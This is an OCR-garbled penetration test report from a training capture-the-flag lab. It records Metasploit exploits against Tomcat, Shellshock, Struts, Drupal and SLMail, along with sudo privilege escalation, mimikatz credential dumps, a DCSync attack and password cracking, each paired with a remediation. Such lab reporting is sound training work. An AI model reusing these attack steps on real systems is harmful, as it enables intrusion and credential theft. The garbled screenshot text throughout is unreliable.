current version

e Consider deploying a Web Application Firewall (WAF) to detect and
block malicious attempts to exploit Struts vulnerabilities.

Flag 7 Findings

Apache Tomcat Remote Code Execution Vulnerability (CVE-2017-12617) -

Title Flag 7: 8ks6sbhss
Type (Web app / | Linux
Linux OS /
Windows OS)
Risk Rating Critical
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Using metasploit, we were able to search for exploits for Tomcat and JSP.
Using the exploit multi/http/tomcat_jsp_upload_bypass, we
successfully executed a Meterpreter shell. We enter "SHELL" to get to the
command line and were able to access the sensitive information.

Description

Images
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root®2d186d87e398:/# cd root
cd root

root@2d186d87e398:~# 1ls -a
ls -a

. .bashrc .flag7.txt .gnupg .profile
root@2d186d87e398:~# cat .flag7.txt

cat .flag7.txt

8ks6sbhss

root®2d186d87e398:~# [

Affected Hosts

192.168.13.10

Remediation

Regularly update Apache Tomcat to the latest stable version to ensure that
known vulnerabilities, including remote code execution (RCE) flaws, are

patched

Flag 8 Findings

Title Shellshock - Flag 8: 9dnx5shdf5
Type (Web app / | Linux
Linux OS /
Windows OS)
Risk Rating Critical

Description

Using metasploit, we were able to search for a shellshock exploit. Using the
exploit/multi/http/apache_mod_cgi_bash_env_exec module we
were able to create a shell on the exploited machine and view the sudoers file

to expose the sensitive information.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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“#include” di

File Actions Edit View Help

f6 ex

Images

terpreter/revers

Affected Hosts | 192.168.13.11

Update to the most current version of BASH and assess if any other

Remediation interconnected systems are vulnerable to Shellshock
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Flag 9 Findings

Title Suspicious User Name - Flag 9: wudks8f7sd

Type (Web app / | Linux
Linux OS /
Windows OS)

Risk Rating Critical

While in the shell from the previous attack, we were able to run the command:

Description ) e .
P cat /etc/passwd which exposed sensitive information.
File Actions Edit View Help
LHOST .116.95 e e (an interface may be specified)
LPORT 4444 = en port
Exploit target:
Id Name
Linux x86
msf6 exploit(
Type Information Connection
meterpreter x86/linux www-data @ 192.168.13.11 «23. 44 — 192.168.
3 (192.168.13.11)
Images

sbin/nologin

Affected Hosts | 192.168.13.11

e Update to the most current version of BASH and assess if any other
interconnected systems are vulnerable to Shellshock

e Implement Principle of Least Privilege to ensure that applications,
services, and users operate with only the minimum permissions
necessary to perform their tasks. This reduces the risk of sensitive files
being exposed during an attack

Remediation
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Flag 10 Findings

Title Struts - CVE-2017-5638 - Flag 10: wjasdufsdkg

Type (Web app / | Linux
Linux OS /
Windows OS)

Risk Rating Critical

Based on the nessus vulnerability that this host is vulnerable to Struts. Used
Description the exploit exploit/multi/http/struts2_content_type_ogn. Use cat with the flag
file to view the flag

File Actions Edit View Help

modified Name

Images

Fee(essessessesscssere  oofx |ossee
.

Affected Hosts | 192.168.13.12

e Apply the latest Apache Struts updates and security patches.
Remediation e Use a Web Application Firewall (WAF) to block malicious exploitation
attempts.

Flag 11 Findings
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Title Drupal - CVE-2019-6340 - Flag 11: www-data
Type (Web app / | Linux
Linux OS /
Windows OS)
Risk Rating Critical

Description

Successfully guessed the user name would be the same as flag 8 & 9 -
www-data

Images

wmand as root.

ocal content in /
file.

on how to writ

r/bin:/sbin:/bin:/sn

s specification
specifica
specification

Cmnd alias

ecification
ALL) ALL

privil

nbers of the admin group m:
dmin ALL=(ALL) ALL

gain root Dl'l‘."llE‘gE‘S

) for more information on "#include” direct

#includ r et -d
f5 ALL=(ALL:ALL)
f6ddag: /

Affected Hosts

192.168.13.13

Remediation

e Update Drupal to the latest version to patch CVE-2019-6340.
e Restrict access to sensitive endpoints and validate all user inputs to
prevent exploitation.

Flag 12 Findings

Title SSH - Vulnerability CVE-2019-14287- Flag 12: d7sdfksdf384
Type (Web app / | Linux
Linux OS /
Windows OS)
Risk Rating Critical

Description

From WHOIS data in Flag 1, identified the username sshuser Alice and
guessed the password as alice. SSH into the server: ssh
alice®192.168.13.14. Used sudo -u#-1 cat root/flag12.txt to
escalate privileges and obtain the sensitive user.
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content th

n the "unminimi

files in

H
in the
files in

buntu comes with Y NC £ ent permitted by
pplicable 1

chdir to home di ‘he i No such file or direc

Images

dir to home

Affected Hosts | 192.168.13.14

e Update Admin Credentials and change the admin password to a

strong, complex password that adheres to best practices
Remediation e Disable SSH on the default port or restrict access to specific IP
addresses using a firewall. Additionally, consider using key-based
authentication for added security

Vulnerability Findings - Day 3 - Windows

Findings
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Title Open source exposed data - Flag 1: Tanyadlife

Type (Web app / | Windows
Linux OS /
Windows OS)

Risk Rating Critical

Searched github which revealed the hashed password. Used john to crack the

hash.
Description I Jlqithut Irekall/site/blob/main/
trivera:$apr1$A0vSKwao$GV3sgGAj53j.c3GkS40UCO
root@kali
File Actions Edit View Help
-] ~
ano hashé.txt
d hash type "mdScrypt”, but the string is also recognized as "mdScrypt-lo
|mages " option to force leoading these as that type instead

3) $1% (and variants) [MD5

w" option to disp
n completed.

Affected Hosts | totalrekall.xyz

e Regularly audit and minimize the amount of sensitive information
Remediation exposed in publicly accessible data sources
e Make the Github repository private or delete it entirely

Flag 2 Findings

Nmap Scan - HTTP Port Open - Flag 2:

Title 4d7b349705784a518bc876bc2ed6d4f6

Type (Web app / | Windows
Linux OS/
Windows OS)

Risk Rating Critical

Ran a port scan of 172.22.117.0/24 which revealed Win10 @ 172.22.117.20

Description had the http port open. We navigated to this IP address which asked for
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credentials. Using the credentials from the previous flag trivera ;
Tanya4life, we were able to get access to the sensitive data.

9.41 beta

@, SEND,
HELO MAIL

Authentication Required - Mozilla Firefox o x

22.117.20 is requesting your username and pa . The s Restricted Content”

Images

@amazon kali 192.168.14.35 ctf-4 pastebin michaelwalz...

Index of /

Name Last modified Size Description

flag2.txt 2022-02-15 13:53 34

Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHF/8.1.2 Server at 172.22.117.20 Port 80

Windows Sc Messus E X | €) totalrekall (t

< c @ )

4d7b349705784a516bcB76bc2edbd4 16

Affected Hosts | 172.22.117.20

e Close Unnecessary Ports, specifically disable the HTTP port (port 80)
on the Win10 machine if it is not required for public access or critical
operations.

e Remove credentials from public-facing systems and ensure sensitive
data is stored securely using proper encryption and access control
mechanisms.

Remediation

Flag 3 Findings
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Title Nmap Scan - FTP Port Open - Flag 3: 89cb548970d44f348bb63622353ae278
Type (Web app / | Windows
Linux OS /
Windows OS)
Risk Rating Critical

Description

The port scan revealed that FTP was open on port 21. By logging in as FTP
with anonymous credentials, we successfully accessed and downloaded
critical information

Images

mpleUrlHandlerMapping : Mapped URL path [/ ] /*%*] onto handler
& g g

root!

File Actions Edit View Help

on
m type is UNIX.

File Actions Edit View Help

rupt history file
@ -~

Affected Hosts

172.22.117.20

Remediation

e Disable Anonymous FTP Login and configure the FTP port to disallow
anonymous access and enforce authentication with strong, unique
credentials.

e Restrict FTP Access by limiting FTP access to trusted IP addresses or
replace FTP with a more secure protocol, such as SFTP

Findings

Title

Nmap Scan -SLMail service - Flag 4: 822e3434a10440ad9cc086197819b49d
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Type (Web app / | Windows
Linux OS /
Windows OS)

Risk Rating Critical

SLMail service was identified running on SMTP port 25 and POP3 port 110.
Using Metasploit's SLMail exploit module, targeting RHOST 172.22.117.20 on
port 110 granted a Meterpreter shell, revealing flag4 . txt via directory listing
and the cat command.

Description

, none)

NT/2000/XP/2003 (SLMail 5.5)

)
)
)
)

File Actions Edit View Help
Id N
Images ~

NT/2000/XP/2003 (SLMail 5.5

Affected Hosts | 172.22.117.20

e Patch SLMail to the latest secure version or replace it with a modern,
secure mail server.

e Restrict Network Access to Services by limiting access to SMTP and
POP3 ports using firewalls, allowing only trusted IPs to connect.

Remediation

Findings

Title Scheduled Tasks - Flag 5: 54fa8cd5¢1354adc9214969d7 166735
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Type (Web app / | Windows
Linux OS /
Windows OS)

Risk Rating Critical

While in the Windows 10 machine, used the command schtasks /query
Description /fo LIST /v to view a suspicious scheduled task which revealed the 5th
flag.

Images

\powershell.exe -c 1s \\

aBcd5c1354adc9214969d716673F5)
ble
rt If Idle for 1 minutes, If Not Idle Retry For @ minutes Stop the task if

5-1104

available in this format.

Affected Hosts | 172.22.117.20

e Use schtasks /delete /TN "TaskName" to remove any
unauthorized or suspicious scheduled tasks.

e Regularly audit scheduled tasks to detect and investigate any
unauthorized changes or configurations.

Flag 6 Findings

Title SAM Credential Exposure - Flag 6: Computer!

Remediation

Type (Web app / | Windows
Linux OS/
Windows OS)

Risk Rating Critical

After exploiting SLMail with Metasploit, the Meterpreter shell provides

Description SYSTEM-level access. Using the kiwi module and the 1sa_dump_sam
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command, the user flagé was identified. The NTLM password was then
cracked with John the Ripper, revealing Flag 6

File Actions Edit View Help

* Pr ry :Kerb: *

9c784c54d5cb0d9c84e9449ed2c0672f

WIN1@.REKALL.
: 4023cd2

Images

et > kiwi_cmd lsadump::cache
WIN1O

Affected Hosts | 172.22.117.20

e Disable or restrict SYSTEM-level access by applying the principle of
least privilege and monitoring for unauthorized privilege escalation.

e Use strong, complex passwords for all accounts and regularly audit
password policies to protect against cracking attempts.

Flag 7 Findings

Title Sensitive Data Exposure - Flag 7

Remediation

Type (Web app / | Windows
Linux OS /
Windows OS)

Risk Rating Critical

Description Using the search command while in the meterpreter shell from the previous
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exploit, we were able to find sensitive data stored in the Documents folder of
the windows machine.

Images

C:\Program Files (x86)\SLmail>cd ../
e[ 3/

C:\Program Files (x86)>1ls

ls

'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Program Files (x86)>cd ../

'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\>Users

Users

'Users' is not recognized as an internal or external command,
operable program or batch file.

C:\>cd Users
cd Users

' is not recognized as an internal or external command,
operable program or batch file.

C:\Users>cd Public
cd Public

C:\Users\Public>cd Documents
cd Documents

C:\Users\Public\Documents>fj]

C:\Users\Public\Documents>cat flag7.txt

cat flag7.txt

‘cat’ is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Public\Documents>dir

dir

Volume in drive C has no label.
Volume Serial Number is ©014-DB@2

Directory of C:\Users\Public\Documents
02/15/2022
02/15/2022
02/15/2022

02:02 PM
02:02 PM
02:02 PM
1 File(s)
2 Dir(s)

<DIR>
<DIR> -
32 flag7.txt
32 bytes
3,411,632,128 bytes free

C:\Users\Public\Documents>]]

02/15/2022 ©02:02 PM
02/15/2022 02:02 PM
02/15/2022 02:02 PM
1 File(s)
2 Dir(s)

<DIR>
<DIR>

C:\Users\Public\Documents>type flag7.txt
type flag7.txt
6fd73e3a2c¢2740328d57ef32557¢c2fdc
C:\Users\Public\Documents>Jj

Affected Hosts

172.22.117.20

Remediation

e Encrypt sensitive files and directories, such as the Documents folder,
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to prevent unauthorized access even if the system is compromised.
e Implement access controls and regularly monitor file permissions to
ensure sensitive data is only accessible to authorized users

Flag 8 Findings

Title LSASS Credential Caching Vulnerability - Flag 8: ad12fc2ffc1e47

Type (Web app / | Windows
Linux OS /
Windows OS)

Risk Rating Critical

Using kiwi to dump cached credentials on the Windows 10 machine revealed
the administrator account ADMBob with cached credentials. The username and
hashed password were saved to a file and cracked with John the Ripper to
Description obtain the plaintext password. These credentials were then used with
Metasploit to laterally move into the DC machine and create a system shell
and execute the net user command

meterpreten /windows NT AUTHORI EM @ WINDC@l

msf6 exploit( ) > sessions -1 3

essions

Name Type Information Connection
meterprete vindows NT AUTHORI EM @ WINDCO1

it{ ) essions -1 3
interaction with

Images

tuid
NT AUTHORITY >TEM

am_hashes: Operation failed: The parameter is incorrect.

1

hts reserved.

Adninistrator
hdodge jsmith
ert
ne or more errors.

Affected Hosts | 172.22.117.10
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e Disable or limit cached credentials on Windows machines to prevent
unauthorized access to stored credentials, especially for sensitive
accounts like administrators.

e Use multi-factor authentication (MFA) and regularly rotate passwords
to mitigate the risk of credential theft and cracking.

Remediation

Flag 9 Findings

Insecure File Permissions / Improper Access Control - Flag 9:

Title f7356e02f44cAfeTbf5374f9bcbf872

Type (Web app / | Windows
Linux OS /
Windows OS)

Risk Rating Critical

While in the meterpreter shell from the previous exploit, we were able to move

Description to the root directory and search for the sensitive information, revealing flag 9

Id Name

@ Automatic

Images
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Volume in drive C has no
Volume Serial Number is 1

Directory of C:\

Affected Hosts | 172.22.117.10

e Ensure that sensitive files and directories have strict access controls,

allowing only authorized users and services to access them.
Remediation e Regularly audit and review file and directory permissions to ensure
they follow the principle of least privilege.

Flag 10 Findings

Title DCSync - Flag 10: 4f0cfd309a1965906fd2ec39dd23d582

Type (Web app / | Windows
Linux OS /
Windows OS)

Risk Rating Critical

While still in the DC machine from the previous exploit, we were able to run a

Description DCSync attack and obtain the Administrators hashed password.

Images
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‘cred ' is not recognized as an internal or external command,
operable program or batch file.

sers\Administrator>exit
it
} meterpreter > creds_all
The "creds_all" command requires the "kiwi" extension to be loaded (run: “load kiwi“)
meterpreter oad kiwi
Loading extension kiwi ...
L. mimikatz 2
S N g, "A la Vie, AL ¢
#/\ /**x Benjamin DELPY “gentilkiwi® ( benjaminagentilkiwi.com )
w\ / ## > http://blog.gentilkiwi.com/mimikatz
‘v o Vincent LE TOUX ( vincent.letoux@gmail.com )
- > http://pingcastle.com / http://mysmartlogon.com **x/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.

meterpreter > creds_all

[+] Running as SYSTEM
Retrieving all credentials

meterpreter > dcsync_ntlm
[!] Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)

Usage: dcsync_ntlm <DOMAIN\user>

meterpreter > dcsync_ntlm Administrator
[!] Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)
[+] Account dministrator

NTLM Hash : 4f0cfd309a1965906fd2ec39dd23d582

LM Hash 0e9b6c3297033f52b59d01ba2328be55

SID 1-5-21-3484858390-3689884876-116297675-500

[30) 00

Affected Hosts

172.22.117.10

Remediation

e Disable DCOM and SMBv1 on the DC to reduce the risk of attacks

leveraging DCSync and SMB vulnerabilities.

e Enforce the use of strong authentication methods like multi-factor
authentication (MFA) and follow the principle of least privilege to limit
access to sensitive accounts and prevent unauthorized credential

access.

End
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